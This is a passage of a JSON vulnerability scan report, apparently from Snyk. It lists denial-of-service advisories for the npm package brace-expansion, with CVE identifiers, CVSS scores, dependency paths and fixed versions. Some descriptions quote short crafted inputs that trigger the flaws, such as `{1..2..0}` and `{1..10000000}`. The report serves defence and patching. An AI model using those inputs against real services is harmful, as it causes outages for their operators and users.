Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be 